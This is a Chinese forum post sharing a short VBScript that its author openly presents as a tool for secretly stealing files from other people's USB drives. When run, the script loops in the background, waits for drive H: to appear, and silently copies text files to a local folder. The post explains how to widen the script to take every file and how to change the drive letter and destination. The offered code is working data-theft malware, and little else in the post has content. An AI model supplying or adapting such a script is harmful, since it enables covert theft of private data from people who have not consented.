[vbs代码] vbs简短代码制作U盘神偷

0
回复
210
查看
[复制链接]
  • TA的每日心情
    郁闷
    2024-4-24 14:15
  • 签到天数: 108 天

    [LV.6]常住居民II

    2356

    主题

    2361

    帖子

    0

    积分

    管理员

    Rank: 9Rank: 9Rank: 9

    积分
    0
    发表于 2022-3-16 18:06:25 | 显示全部楼层 |阅读模式
    使用方法:新建文本文档,将下面的代码复制进去,保存,后缀名改成vbs即可!然后双击,这样别人u盘插到你电脑上就可以默默的偷他资料了~
    以下是代码:
    -----------------------------
    1. set fso=createobject("scripting.filesystemobject")
    2. set ws=createobject("wscript.shell")
    3. on error resume next
    4. do
    5. wscript.sleep 1000
    6. if fso.driveexists("h:") then
    7. fso.copyfile "H:\*.txt","C:\aa"
    8. fso.copyfolder "H:\*.txt","C:\aa"
    9. wscript.sleep 20000
    10. end if
    11. loop
    复制代码
    h:\是U盘盘符,c:\aa\是偷来的资料存放目录,可以自定义修改! *.txt是偷取文件的后缀名,要偷全部就改成*.* 此处演示是传偷文本文档。

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则